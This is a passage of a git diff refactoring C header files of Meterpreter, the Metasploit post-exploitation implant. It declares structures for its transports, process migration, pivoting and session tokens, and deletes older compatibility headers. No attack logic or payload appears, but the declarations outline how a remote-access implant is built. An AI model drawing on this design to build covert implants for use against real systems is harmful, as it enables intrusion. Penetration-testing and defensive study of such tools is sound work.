PacketApi;; + +typedef struct _CommandApi +{ + void(*deregister_all)(Command commands[]); + void(*register_all)(Command commands[]); +} CommandApi; + +typedef struct _StringApi +{ + wchar_t*(*utf8_to_wchar)(const char* in); + char*(*wchar_to_utf8)(const wchar_t* in); +} StringApi; + +typedef struct _MetApi +{ + PacketApi packet; + CommandApi command; + ThreadApi thread; + LockApi lock; + EventApi event; + ChannelApi channel; + SchedulerApi scheduler; + StringApi string; + InjectApi inject; + DesktopApi desktop; +} MetApi; + +extern MetApi* met_api; + +#endif diff --git a/c/meterpreter/source/common/common_pivot_tree.h b/c/meterpreter/source/common/common_pivot_tree.h new file mode 100644 index 00000000..5733f17c --- /dev/null +++ b/c/meterpreter/source/common/common_pivot_tree.h @@ -0,0 +1,23 @@ +#ifndef _METERPRETER_COMMON_PIVOT_TREE_H +#define _METERPRETER_COMMON_PIVOT_TREE_H + +typedef DWORD(*PivotWritePacket)(LPVOID state, LPBYTE rawPacket, DWORD rawPacketLength); +typedef DWORD(*PivotRemove)(LPVOID state); + +typedef struct _PivotContext +{ + PivotWritePacket packet_write; + PivotRemove remove; + LPVOID state; +} PivotContext; + +typedef struct _PivotNode PivotNode; + +typedef struct _PivotTree +{ + PivotNode* head; +} PivotTree; + +typedef void(*PivotTreeTraverseCallback)(LPBYTE guid, PivotContext* ctx, LPVOID state); + +#endif diff --git a/c/meterpreter/source/common/remote.h b/c/meterpreter/source/common/common_remote.h old mode 100755 new mode 100644 similarity index 94% rename from c/meterpreter/source/common/remote.h rename to c/meterpreter/source/common/common_remote.h index ab65107f..f433a316 --- a/c/meterpreter/source/common/remote.h +++ b/c/meterpreter/source/common/common_remote.h @@ -1,177 +1,170 @@ -/*! - * @file remote.h - * @brief Declarations of functions and types that interact with a remote endpoint. - */ -#ifndef _METERPRETER_LIB_REMOTE_H -#define _METERPRETER_LIB_REMOTE_H - -#include "thread.h" -#include "config.h" -#include "pivot_tree.h" - -/*! @brief This is the size of the certificate hash that is validated (sha1) */ -#define CERT_HASH_SIZE 20 - -typedef wchar_t CHARTYPE; -typedef CHARTYPE* STRTYPE; - -// Forward declarations required to keep compilers happy. -typedef struct _Packet Packet; -typedef struct _PacketRequestCompletion PacketRequestCompletion; -typedef struct _Transport Transport; -typedef struct _SslLib SslLib; -typedef struct _Remote Remote; -typedef struct _TimeoutSettings TimeoutSettings; -typedef struct _HttpTransportContext HttpTransportContext; -typedef struct _PacketEncryptionContext PacketEncryptionContext; - -typedef UINT_PTR(*PTransportGetHandle)(Transport* transport); -typedef DWORD(*PTransportGetConfigSize)(Transport* transport); -typedef void(*PTransportSetHandle)(Transport* transport, UINT_PTR handle); -typedef void(*PTransportReset)(Transport* transport, BOOL shuttingDown); -typedef BOOL(*PTransportInit)(Transport* transport); -typedef BOOL(*PTransportDeinit)(Transport* transport); -typedef void(*PTransportDestroy)(Transport* transport); -typedef DWORD(*PTransportGetMigrateContext)(Transport* transport, DWORD targetProcessId, HANDLE targetProcessHandle, LPDWORD contextSize, LPBYTE* contextBuffer); -typedef Transport*(*PTransportCreate)(Remote* remote, MetsrvTransportCommon* config, LPDWORD size); -typedef void(*PTransportRemove)(Remote* remote, Transport* oldTransport); -typedef void(*PConfigCreate)(Remote* remote, LPBYTE uuid, MetsrvConfig** config, LPDWORD size); - -typedef BOOL(*PServerDispatch)(Remote* remote, THREAD* dispatchThread); -typedef DWORD(*PPacketTransmit)(Remote* remote, LPBYTE rawPacket, DWORD rawPacketLength); - -typedef HANDLE(*PCreateHttpRequest)(HttpTransportContext* ctx, BOOL isGet, const char* direction); -typedef BOOL(*PSendHttpRequest)(HttpTransportContext* ctx, HANDLE hReq, LPVOID buffer, DWORD size); -typedef BOOL(*PCloseRequest)(HANDLE hReq); -typedef DWORD(*PValidateResponse)(HANDLE hReq, HttpTransportContext* ctx); -typedef BOOL(*PReceiveResponse)(HANDLE hReq); -typedef BOOL(*PReadResponse)(HANDLE hReq, LPVOID buffer, DWORD bytesToRead, LPDWORD bytesRead); - -typedef struct _TimeoutSettings -{ - /*! @ brief The total number of seconds to wait for a new packet before killing off the session. */ - int comms; - /*! @ brief The total number of seconds to keep retrying for before a new session is established. */ - UINT retry_total; - /*! @ brief The number of seconds to wait between reconnects. */ - UINT retry_wait; -} TimeoutSettings; - -typedef struct _TcpTransportContext -{ - SOCKET fd; ///! Remote socket file descriptor. - SOCKET listen; ///! Listen socket descriptor, if any. -} TcpTransportContext; - -typedef struct _NamedPipeTransportContext -{ - STRTYPE pipe_name; ///! Name of the pipe in '\\\' format - HANDLE pipe; ///! Reference to the named pipe handle. - LOCK* write_lock; ///! Reference to the thread write lock. -} NamedPipeTransportContext; - -typedef struct _HttpTransportContext -{ - BOOL ssl; ///! Flag indicating whether the connection uses SSL. - HANDLE internet; ///! Handle to the internet module for use with HTTP and HTTPS. - HANDLE connection; ///! Handle to the HTTP or HTTPS connection. - unsigned char* cert_hash; ///! Pointer to the 20-byte certificate hash to validate - - CSTRTYPE url; ///! Pointer to the URL stored with the transport. - STRTYPE ua; ///! User agent string. - STRTYPE uri; ///! UUID encoded as a URI. - STRTYPE new_uri; ///! New URI for stageless URI switches - STRTYPE proxy; ///! Proxy details. - STRTYPE proxy_user; ///! Proxy username. - STRTYPE proxy_pass; ///! Proxy password. - STRTYPE custom_headers; ///! List of custom headers to add to outgoing requests. - - BOOL proxy_configured; ///! Indication of whether the proxy has been configured. - LPVOID proxy_for_url; ///! Pointer to the proxy for the current url (if required). - - BOOL move_to_wininet; ///! If set, winhttp is busted, and we need to move to wininet. - - PCreateHttpRequest create_req; ///! WinHTTP/WinINET specific request creation. - PSendHttpRequest send_req; ///! WinHTTP/WinINET specifc request sending. - PCloseRequest close_req; ///! WinHTTP/WinINET specifc request closing. - PValidateResponse validate_response; ///! WinHTTP/WinINET specific response validation. - PReceiveResponse receive_response; ///! WinHttp/WinINET specific response data reception. - PReadResponse read_response; ///! WinHttp/WinINET specific response data reading. -} HttpTransportContext; - -typedef struct _Transport -{ - DWORD type; ///! The type of transport in use. - PTransportGetHandle get_handle; ///! Function to get the socket/handle from the transport. - PTransportSetHandle set_handle; ///! Function to set the socket/handle on the transport. - PTransportGetConfigSize get_config_size; ///! Function to get the size of the configuration for the transport. - PTransportReset transport_reset; ///! Function to reset/clean the transport ready for restarting. - PTransportInit transport_init; ///! Initialises the transport. - PTransportDeinit transport_deinit; ///! Deinitialises the transport. - PTransportDestroy transport_destroy; ///! Destroy the transport. - PServerDispatch server_dispatch; ///! Transport dispatch function. - PPacketTransmit packet_transmit; ///! Transmits a packet over the transport. - PTransportGetMigrateContext get_migrate_context; ///! Creates a migrate context that is transport-specific. - STRTYPE url; ///! Full URL describing the comms in use. - VOID* ctx; ///! Pointer to the type-specific transport context; - TimeoutSettings timeouts; ///! Container for the timeout settings. - int comms_last_packet; ///! Unix timestamp of the last packet received. - struct _Transport* next_transport; ///! Pointer to the next transport in the list. - struct _Transport* prev_transport; ///! Pointer to the previous transport in the list. -} Transport; - -/*! - * @brief Remote context allocation. - * @details Wraps the initialized file descriptor for extension purposes. - * A \c Remote is effectively a pointer to a remote client context - * which contains magic pixie dust that identifies the connection - * along with a way to interact with it. - * @remark The `Original` and `Current` members are used to allow for - * functionality such as `rev2self` and reverting back to the initial - * desktop stations/desktops. - */ -typedef struct _Remote -{ - HMODULE met_srv; ///! Reference to the Meterpreter server instance. - - PConfigCreate config_create; ///! Pointer to the function that will create a configuration block from the curren setup. - - Transport* transport; ///! Pointer to the currently used transport mechanism in a circular list of transports - Transport* next_transport; ///! Set externally when transports are requested to be changed. - DWORD next_transport_wait; ///! Number of seconds to wait before going to the next transport (used for sleeping). - - MetsrvConfig* orig_config; ///! Pointer to the original configuration. - - LOCK* lock; ///! General transport usage lock (used by SSL, and desktop stuff too). - - HANDLE server_thread; ///! Handle to the current server thread. - HANDLE server_token; ///! Handle to the current server security token. - HANDLE thread_token; ///! Handle to the current thread security token. - - DWORD orig_sess_id; ///! ID of the original Meterpreter session. - DWORD curr_sess_id; ///! ID of the currently active session. - char* orig_station_name; ///! Original station name. - char* curr_station_name; ///! Name of the current station. - - char* orig_desktop_name; ///! Original desktop name. - char* curr_desktop_name; ///! Name of the current desktop. - - PTransportCreate trans_create; ///! Helper to create transports from configuration. - PTransportRemove trans_remove; ///! Helper to remove transports from the current session. - - int sess_expiry_time; ///! Number of seconds that the session runs for. - int sess_expiry_end; ///! Unix timestamp for when the server should shut down. - int sess_start_time; ///! Unix timestamp representing the session startup time. - - PivotTree* pivot_sessions; ///! Collection of active Meterpreter session pivots. - PivotTree* pivot_listeners; ///! Collection of active Meterpreter pivot listeners. - - PacketEncryptionContext* enc_ctx; ///! Reference to the packet encryption context. -} Remote; - -Remote* remote_allocate(); -VOID remote_deallocate(Remote *remote); - -VOID remote_set_fd(Remote *remote, SOCKET fd); - -#endif +/*! + * @file remote.h + * @brief Declarations of functions and types that interact with a remote endpoint. + */ +#ifndef _METERPRETER_COMMON_REMOTE_H +#define _METERPRETER_COMMON_REMOTE_H + +#include "common_thread.h" +#include "common_config.h" +#include "common_pivot_tree.h" + +/*! @brief This is the size of the certificate hash that is validated (sha1) */ +#define CERT_HASH_SIZE 20 + +typedef wchar_t CHARTYPE; +typedef CHARTYPE* STRTYPE; + +// Forward declarations required to keep compilers happy. +typedef struct _Packet Packet; +typedef struct _PacketRequestCompletion PacketRequestCompletion; +typedef struct _Transport Transport; +typedef struct _SslLib SslLib; +typedef struct _Remote Remote; +typedef struct _TimeoutSettings TimeoutSettings; +typedef struct _HttpTransportContext HttpTransportContext; +typedef struct _PacketEncryptionContext PacketEncryptionContext; + +typedef UINT_PTR(*PTransportGetHandle)(Transport* transport); +typedef DWORD(*PTransportGetConfigSize)(Transport* transport); +typedef void(*PTransportSetHandle)(Transport* transport, UINT_PTR handle); +typedef void(*PTransportReset)(Transport* transport, BOOL shuttingDown); +typedef BOOL(*PTransportInit)(Transport* transport); +typedef BOOL(*PTransportDeinit)(Transport* transport); +typedef void(*PTransportDestroy)(Transport* transport); +typedef DWORD(*PTransportGetMigrateContext)(Transport* transport, DWORD targetProcessId, HANDLE targetProcessHandle, LPDWORD contextSize, LPBYTE* contextBuffer); +typedef Transport*(*PTransportCreate)(Remote* remote, MetsrvTransportCommon* config, LPDWORD size); +typedef void(*PTransportRemove)(Remote* remote, Transport* oldTransport); +typedef void(*PConfigCreate)(Remote* remote, LPBYTE uuid, MetsrvConfig** config, LPDWORD size); + +typedef BOOL(*PServerDispatch)(Remote* remote, THREAD* dispatchThread); +typedef DWORD(*PPacketTransmit)(Remote* remote, LPBYTE rawPacket, DWORD rawPacketLength); + +typedef HANDLE(*PCreateHttpRequest)(HttpTransportContext* ctx, BOOL isGet, const char* direction); +typedef BOOL(*PSendHttpRequest)(HttpTransportContext* ctx, HANDLE hReq, LPVOID buffer, DWORD size); +typedef BOOL(*PCloseRequest)(HANDLE hReq); +typedef DWORD(*PValidateResponse)(HANDLE hReq, HttpTransportContext* ctx); +typedef BOOL(*PReceiveResponse)(HANDLE hReq); +typedef BOOL(*PReadResponse)(HANDLE hReq, LPVOID buffer, DWORD bytesToRead, LPDWORD bytesRead); + +typedef struct _TimeoutSettings +{ + /*! @ brief The total number of seconds to wait for a new packet before killing off the session. */ + int comms; + /*! @ brief The total number of seconds to keep retrying for before a new session is established. */ + UINT retry_total; + /*! @ brief The number of seconds to wait between reconnects. */ + UINT retry_wait; +} TimeoutSettings; + +typedef struct _TcpTransportContext +{ + SOCKET fd; ///! Remote socket file descriptor. + SOCKET listen; ///! Listen socket descriptor, if any. +} TcpTransportContext; + +typedef struct _NamedPipeTransportContext +{ + STRTYPE pipe_name; ///! Name of the pipe in '\\\' format + HANDLE pipe; ///! Reference to the named pipe handle. + LOCK* write_lock; ///! Reference to the thread write lock. +} NamedPipeTransportContext; + +typedef struct _HttpTransportContext +{ + BOOL ssl; ///! Flag indicating whether the connection uses SSL. + HANDLE internet; ///! Handle to the internet module for use with HTTP and HTTPS. + HANDLE connection; ///! Handle to the HTTP or HTTPS connection. + unsigned char* cert_hash; ///! Pointer to the 20-byte certificate hash to validate + + CSTRTYPE url; ///! Pointer to the URL stored with the transport. + STRTYPE ua; ///! User agent string. + STRTYPE uri; ///! UUID encoded as a URI. + STRTYPE new_uri; ///! New URI for stageless URI switches + STRTYPE proxy; ///! Proxy details. + STRTYPE proxy_user; ///! Proxy username. + STRTYPE proxy_pass; ///! Proxy password. + STRTYPE custom_headers; ///! List of custom headers to add to outgoing requests. + + BOOL proxy_configured; ///! Indication of whether the proxy has been configured. + LPVOID proxy_for_url; ///! Pointer to the proxy for the current url (if required). + + BOOL move_to_wininet; ///! If set, winhttp is busted, and we need to move to wininet. + + PCreateHttpRequest create_req; ///! WinHTTP/WinINET specific request creation. + PSendHttpRequest send_req; ///! WinHTTP/WinINET specifc request sending. + PCloseRequest close_req; ///! WinHTTP/WinINET specifc request closing. + PValidateResponse validate_response; ///! WinHTTP/WinINET specific response validation. + PReceiveResponse receive_response; ///! WinHttp/WinINET specific response data reception. + PReadResponse read_response; ///! WinHttp/WinINET specific response data reading. +} HttpTransportContext; + +typedef struct _Transport +{ + DWORD type; ///! The type of transport in use. + PTransportGetHandle get_handle; ///! Function to get the socket/handle from the transport. + PTransportSetHandle set_handle; ///! Function to set the socket/handle on the transport. + PTransportGetConfigSize get_config_size; ///! Function to get the size of the configuration for the transport. + PTransportReset transport_reset; ///! Function to reset/clean the transport ready for restarting. + PTransportInit transport_init; ///! Initialises the transport. + PTransportDeinit transport_deinit; ///! Deinitialises the transport. + PTransportDestroy transport_destroy; ///! Destroy the transport. + PServerDispatch server_dispatch; ///! Transport dispatch function. + PPacketTransmit packet_transmit; ///! Transmits a packet over the transport. + PTransportGetMigrateContext get_migrate_context; ///! Creates a migrate context that is transport-specific. + STRTYPE url; ///! Full URL describing the comms in use. + VOID* ctx; ///! Pointer to the type-specific transport context; + TimeoutSettings timeouts; ///! Container for the timeout settings. + int comms_last_packet; ///! Unix timestamp of the last packet received. + struct _Transport* next_transport; ///! Pointer to the next transport in the list. + struct _Transport* prev_transport; ///! Pointer to the previous transport in the list. +} Transport; + +/*! + * @brief Remote context allocation. + * @details Wraps the initialized file descriptor for extension purposes. + * A \c Remote is effectively a pointer to a remote client context + * which contains magic pixie dust that identifies the connection + * along with a way to interact with it. + * @remark The `Original` and `Current` members are used to allow for + * functionality such as `rev2self` and reverting back to the initial + * desktop stations/desktops. + */ +typedef struct _Remote +{ + PConfigCreate config_create; ///! Pointer to the function that will create a configuration block from the curren setup. + + Transport* transport; ///! Pointer to the currently used transport mechanism in a circular list of transports + Transport* next_transport; ///! Set externally when transports are requested to be changed. + DWORD next_transport_wait; ///! Number of seconds to wait before going to the next transport (used for sleeping). + + MetsrvConfig* orig_config; ///! Pointer to the original configuration. + + LOCK* lock; ///! General transport usage lock (used by SSL, and desktop stuff too). + + HANDLE server_thread; ///! Handle to the current server thread. + HANDLE server_token; ///! Handle to the current server security token. + HANDLE thread_token; ///! Handle to the current thread security token. + + DWORD orig_sess_id; ///! ID of the original Meterpreter session. + DWORD curr_sess_id; ///! ID of the currently active session. + char* orig_station_name; ///! Original station name. + char* curr_station_name; ///! Name of the current station. + + char* orig_desktop_name; ///! Original desktop name. + char* curr_desktop_name; ///! Name of the current desktop. + + PTransportCreate trans_create; ///! Helper to create transports from configuration. + PTransportRemove trans_remove; ///! Helper to remove transports from the current session. + + int sess_expiry_time; ///! Number of seconds that the session runs for. + int sess_expiry_end; ///! Unix timestamp for when the server should shut down. + int sess_start_time; ///! Unix timestamp representing the session startup time. + + PivotTree* pivot_sessions; ///! Collection of active Meterpreter session pivots. + PivotTree* pivot_listeners; ///! Collection of active Meterpreter pivot listeners. + + PacketEncryptionContext* enc_ctx; ///! Reference to the packet encryption context. +} Remote; + +#endif diff --git a/c/meterpreter/source/common/common_scheduler.h b/c/meterpreter/source/common/common_scheduler.h new file mode 100644 index 00000000..c975de4c --- /dev/null +++ b/c/meterpreter/source/common/common_scheduler.h @@ -0,0 +1,14 @@ +#ifndef _METERPRETER_COMMON_SCHEDULER_H +#define _METERPRETER_COMMON_SCHEDULER_H + +typedef enum +{ + SchedulerPause = 1, + SchedulerResume = 2, + SchedulerStop = 3 +} SchedulerSignal; + +typedef DWORD (*WaitableNotifyRoutine)(Remote *remote, LPVOID entryContext, LPVOID threadContext); +typedef DWORD (*WaitableDestroyRoutine)(HANDLE waitable, LPVOID entryContext, LPVOID threadContext); + +#endif diff --git a/c/meterpreter/source/common/common_thread.h b/c/meterpreter/source/common/common_thread.h new file mode 100644 index 00000000..a53cb8e9 --- /dev/null +++ b/c/meterpreter/source/common/common_thread.h @@ -0,0 +1,31 @@ +#ifndef _METERPRETER_COMMON_THREAD_H +#define _METERPRETER_COMMON_THREAD_H + +typedef struct _LOCK +{ + HANDLE handle; +} LOCK, * LPLOCK; + +typedef struct _EVENT +{ + HANDLE handle; +} EVENT, * LPEVENT; + +#define THREADCALL __stdcall + +typedef DWORD (THREADCALL * THREADFUNK)(struct _THREAD * thread); + +struct _THREAD +{ + DWORD id; + HANDLE handle; + EVENT * sigterm; + THREADFUNK funk; + LPVOID parameter1; + LPVOID parameter2; + LPVOID parameter3; +}; + +typedef struct _THREAD THREAD, * LPTHREAD; + +#endif diff --git a/c/meterpreter/source/common/compat_types.h b/c/meterpreter/source/common/compat_types.h deleted file mode 100644 index 8d0a90f5..00000000 --- a/c/meterpreter/source/common/compat_types.h +++ /dev/null @@ -1,235 +0,0 @@ -#ifndef UNIX_COMPAT_TYPES_H -#define UNIX_COMPAT_TYPES_H -#include -#include -#include - -#if defined(__FreeBSD__) -#include -#elif defined(__linux__) -#define __va_list __ptr_t -#define __USE_XOPEN -#else -#error unknown OS -#endif - -#define NULL ((void *)0) - -#if 0 -// PKS, should use system headers. -#define PAGE_SIZE 4096 -#define PAGE_SHIFT 12 -#endif - -/* - * need to separate out platform types - */ - -#if defined(__FreeBSD__) -#if defined(__LP64__) -typedef int64_t intptr_t; -typedef uint64_t uintptr_t; -typedef uint64_t uintmax_t; -#else -typedef int32_t intptr_t; -typedef uint32_t uintptr_t; -typedef uint32_t uintmax_t; -#endif -#endif - -#if 0 -#define PAGE_MASK (PAGE_SIZE-1) -#endif - -#define trunc_page(x) ((unsigned long)(x) & ~(PAGE_MASK)) - - -#define _strdup strdup -#define _vsnprintf vsnprintf - -#define strcat_s(buf1, len, buf2) strcat((buf1), (buf2)) -#define closesocket close - -#if 0 -/* - * Protections are chosen from these bits, or-ed together - */ -#define PROT_NONE 0x00 /* no permissions */ -#define PROT_READ 0x01 /* pages can be read */ -#define PROT_WRITE 0x02 /* pages can be written */ -#define PROT_EXEC 0x04 /* pages can be executed */ - -/* - * Flags contain sharing type and options. - * Sharing types; choose one. - */ -#define MAP_SHARED 0x0001 /* share changes */ -#define MAP_PRIVATE 0x0002 /* changes are private */ - -/* - * Mapping type - */ -#define MAP_FILE 0x0000 /* map from file (default) */ -#define MAP_ANON 0x1000 /* allocated from memory, swap space */ - -/* - * Error return from mmap() - */ -#define MAP_FAILED ((void *)-1) - -/* - * Advice to madvise - */ -#define _MADV_NORMAL 0 /* no further special treatment */ -#define _MADV_RANDOM 1 /* expect random page references */ -#define _MADV_SEQUENTIAL 2 /* expect sequential page references */ -#define _MADV_WILLNEED 3 /* will need these pages */ -#define _MADV_DONTNEED 4 /* dont need these pages */ - -#define MADV_NORMAL _MADV_NORMAL -#define MADV_RANDOM _MADV_RANDOM -#define MADV_SEQUENTIAL _MADV_SEQUENTIAL -#define MADV_WILLNEED _MADV_WILLNEED -#define MADV_DONTNEED _MADV_DONTNEED -#define MADV_FREE 5 /* dont need these pages, and junk contents */ - -void *memcpy(void *idst, const void *isrc, size_t n); - -int strcmp (const char *s1, const char *s2); - -int strncmp(const char *s1, const char *s2, size_t n); - -size_t strlen (const char *s); - -char *strcpy (char *dst, const char *src); - -char *strcat (char *dst, const char *src); - -char *strstr(const char *s, const char *find); - -unsigned long s_strtoul (const char *cp); - -void *memset(void *b, int c, size_t len); - -void bzero(void *b, size_t len); - -char *strdup(const char *__restrict); - -#define STDIN_FILENO 0 /* standard input file descriptor */ -#define STDOUT_FILENO 1 /* standard output file descriptor */ -#define STDERR_FILENO 2 /* standard error file descriptor */ - -ssize_t write(int d, const void *buf, size_t nbytes); -ssize_t read(int d, void *buf, size_t nbytes); - -void abort(void); - -void free(void *ptr); - -void *malloc(size_t size); - -#endif - -#ifdef __GNUCLIKE_BUILTIN_STDARG - -#ifndef va_start -#define va_start(ap, last) \ - __builtin_va_start((ap), (last)) -#endif - -#ifndef va_arg -#define va_arg(ap, type) \ - __builtin_va_arg((ap), type) -#endif - -#ifndef __va_copy -#define __va_copy(dest, src) \ - __builtin_va_copy((dest), (src)) -#endif - -#if __ISO_C_VISIBLE >= 1999 -#ifndef va_copy -#define va_copy(dest, src) \ - __va_copy(dest, src) -#endif -#endif - -#ifndef va_end -#define va_end(ap) \ - __builtin_va_end(ap) -#endif - -#endif - - -typedef char BOOL; -typedef char BOOLEAN; -typedef BOOL * LPBOOL; -typedef char CHAR; -typedef CHAR * PCHAR; -typedef void * LPVOID; -typedef unsigned char BYTE; -typedef BYTE * LPBYTE; - - -typedef uint32_t ULONG; -typedef uint32_t * PULONG; -typedef const char CSTR; -typedef const wchar_t CWSTR; -typedef unsigned char UCHAR; -typedef UCHAR * PUCHAR; -typedef CSTR * LPCSTR; -typedef CWSTR * LPCWSTR; -typedef char * LPSTR; -typedef long DWORD; -typedef DWORD * LPDWORD; -typedef int32_t LONG; -typedef LONG * LPLONG; -typedef unsigned int UINT; -typedef int HANDLE; -typedef int SOCKET; -typedef void VOID; -typedef VOID * PVOID; -typedef void * HMODULE; -typedef short SHORT; -typedef unsigned short USHORT; -typedef uint64_t QWORD; - -#ifndef TRUE - #define TRUE (1) -#endif -#ifndef FALSE - #define FALSE (0) -#endif - -#define ERROR_NOT_FOUND ENOENT -#define ERROR_NOT_ENOUGH_MEMORY ENOMEM -#define ERROR_INVALID_PARAMETER EINVAL -#define ERROR_INVALID_HANDLE EINVAL -#define ERROR_INVALID_DATA EINVAL -#define ERROR_INVALID_FUNCTION EINVAL -#define ERROR_UNSUPPORTED_COMPRESSION EINVAL -#define ERROR_NOT_SUPPORTED EOPNOTSUPP - -#if defined(__FreeBSD__) - #define ERROR_INSTALL_USEREXIT EPROGUNAVAIL -#elif defined(__linux__) - #define ERROR_INSTALL_USEREXIT ENOPROTOOPT -#else - #error unknown OS -#endif - -#define ERROR_SUCCESS (0) -#define NO_ERROR (0) - -int local_error; - -#define WSAGetLastError() GetLastError() -#define GetLastError() (local_error != -1 ? local_error : errno) -#define SetLastError(x) (local_error = (x)) -#define __declspec(x) - -#define __try -#define __except(x) if (0) - -#endif diff --git a/c/meterpreter/source/common/linkage.h b/c/meterpreter/source/common/linkage.h deleted file mode 100644 index e1c0c768..00000000 --- a/c/meterpreter/source/common/linkage.h +++ /dev/null @@ -1,14 +0,0 @@ -#ifndef _METERPRETER_LIB_LINKAGE_H -#define _METERPRETER_LIB_LINKAGE_H - -#ifdef USE_DLL - #ifdef METERPRETER_EXPORTS - #define LINKAGE __declspec(dllexport) - #else - #define LINKAGE __declspec(dllimport) - #endif -#else - #define LINKAGE -#endif - -#endif diff --git a/c/meterpreter/source/common/pivot_packet_dispatch.h b/c/meterpreter/source/common/pivot_packet_dispatch.h deleted file mode 100755 index ed743426..00000000 --- a/c/meterpreter/source/common/pivot_packet_dispatch.h +++ /dev/null @@ -1,6 +0,0 @@ -#ifndef _METERPRETER_PIVOT_PACKET_DISPATCH -#define _METERPRETER_PIVOT_PACKET_DISPATCH - -DWORD pivot_packet_dispatch(PivotContext* pivotCtx, LPBYTE packetBuffer, DWORD packetSize); - -#endif \ No newline at end of file diff --git a/c/meterpreter/source/common/pivot_tree.h b/c/meterpreter/source/common/pivot_tree.h deleted file mode 100755 index 4697af72..00000000 --- a/c/meterpreter/source/common/pivot_tree.h +++ /dev/null @@ -1,35 +0,0 @@ -#ifndef _METERPRETER_PIVOT_TREE -#define _METERPRETER_PIVOT_TREE - -typedef DWORD(*PivotWritePacket)(LPVOID state, LPBYTE rawPacket, DWORD rawPacketLength); -typedef DWORD(*PivotRemove)(LPVOID state); - -typedef struct _PivotContext -{ - PivotWritePacket packet_write; - PivotRemove remove; - LPVOID state; -} PivotContext; - -typedef struct _PivotNode PivotNode; - -typedef struct _PivotTree -{ - PivotNode* head; -} PivotTree; - -typedef void(*PivotTreeTraverseCallback)(LPBYTE guid, PivotContext* ctx, LPVOID state); - -PivotTree* pivot_tree_create(); -DWORD pivot_tree_add(PivotTree* tree, LPBYTE guid, PivotContext* ctx); -PivotContext* pivot_tree_remove(PivotTree* tree, LPBYTE guid); -PivotContext* pivot_tree_find(PivotTree* tree, LPBYTE guid); -void pivot_tree_traverse(PivotTree* tree, PivotTreeTraverseCallback callback, LPVOID state); -void pivot_tree_destroy(PivotTree* tree); - - -#ifdef DEBUGTRACE -void dbgprint_pivot_tree(PivotTree* tree); -#endif - -#endif \ No newline at end of file diff --git a/c/meterpreter/source/common/queue.h b/c/meterpreter/source/common/queue.h deleted file mode 100644 index dc2eb05b..00000000 --- a/c/meterpreter/source/common/queue.h +++ /dev/null @@ -1,627 +0,0 @@ -/*- - * Copyright (c) 1991, 1993 - * The Regents of the University of California. All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * 4. Neither the name of the University nor the names of its contributors - * may be used to endorse or promote products derived from this software - * without specific prior written permission. - * - * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND - * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE - * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE - * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE - * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL - * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS - * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) - * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT - * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY - * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF - * SUCH DAMAGE. - * - * @(#)queue.h 8.5 (Berkeley) 8/20/94 - * $FreeBSD: head/sys/sys/queue.h 179210 2008-05-22 14:40:03Z ed $ - */ - -#ifndef _SYS_QUEUE_H_ -#define _SYS_QUEUE_H_ - -#include - -/* - * This file defines four types of data structures: singly-linked lists, - * singly-linked tail queues, lists and tail queues. - * - * A singly-linked list is headed by a single forward pointer. The elements - * are singly linked for minimum space and pointer manipulation overhead at - * the expense of O(n) removal for arbitrary elements. New elements can be - * added to the list after an existing element or at the head of the list. - * Elements being removed from the head of the list should use the explicit - * macro for this purpose for optimum efficiency. A singly-linked list may - * only be traversed in the forward direction. Singly-linked lists are ideal - * for applications with large datasets and few or no removals or for - * implementing a LIFO queue. - * - * A singly-linked tail queue is headed by a pair of pointers, one to the - * head of the list and the other to the tail of the list. The elements are - * singly linked for minimum space and pointer manipulation overhead at the - * expense of O(n) removal for arbitrary elements. New elements can be added - * to the list after an existing element, at the head of the list, or at the - * end of the list. Elements being removed from the head of the tail queue - * should use the explicit macro for this purpose for optimum efficiency. - * A singly-linked tail queue may only be traversed in the forward direction. - * Singly-linked tail queues are ideal for applications with large datasets - * and few or no removals or for implementing a FIFO queue. - * - * A list is headed by a single forward pointer (or an array of forward - * pointers for a hash table header). The elements are doubly linked - * so that an arbitrary element can be removed without a need to - * traverse the list. New elements can be added to the list before - * or after an existing element or at the head of the list. A list - * may only be traversed in the forward direction. - * - * A tail queue is headed by a pair of pointers, one to the head of the - * list and the other to the tail of the list. The elements are doubly - * linked so that an arbitrary element can be removed without a need to - * traverse the list. New elements can be added to the list before or - * after an existing element, at the head of the list, or at the end of - * the list. A tail queue may be traversed in either direction. - * - * For details on the use of these macros, see the queue(3) manual page. - * - * - * SLIST LIST STAILQ TAILQ - * _HEAD + + + + - * _HEAD_INITIALIZER + + + + - * _ENTRY + + + + - * _INIT + + + + - * _EMPTY + + + + - * _FIRST + + + + - * _NEXT + + + + - * _PREV - - - + - * _LAST - - + + - * _FOREACH + + + + - * _FOREACH_SAFE + + + + - * _FOREACH_REVERSE - - - + - * _FOREACH_REVERSE_SAFE - - - + - * _INSERT_HEAD + + + + - * _INSERT_BEFORE - + - + - * _INSERT_AFTER + + + + - * _INSERT_TAIL - - + + - * _CONCAT - - + + - * _REMOVE_HEAD + - + - - * _REMOVE_NEXT + - + - - * _REMOVE + + + + - * - */ -#ifdef QUEUE_MACRO_DEBUG -/* Store the last 2 places the queue element or head was altered */ -struct qm_trace { - char * lastfile; - int lastline; - char * prevfile; - int prevline; -}; - -#define TRACEBUF struct qm_trace trace; -#define TRASHIT(x) do {(x) = (void *)-1;} while (0) - -#define QMD_TRACE_HEAD(head) do { \ - (head)->trace.prevline = (head)->trace.lastline; \ - (head)->trace.prevfile = (head)->trace.lastfile; \ - (head)->trace.lastline = __LINE__; \ - (head)->trace.lastfile = __FILE__; \ 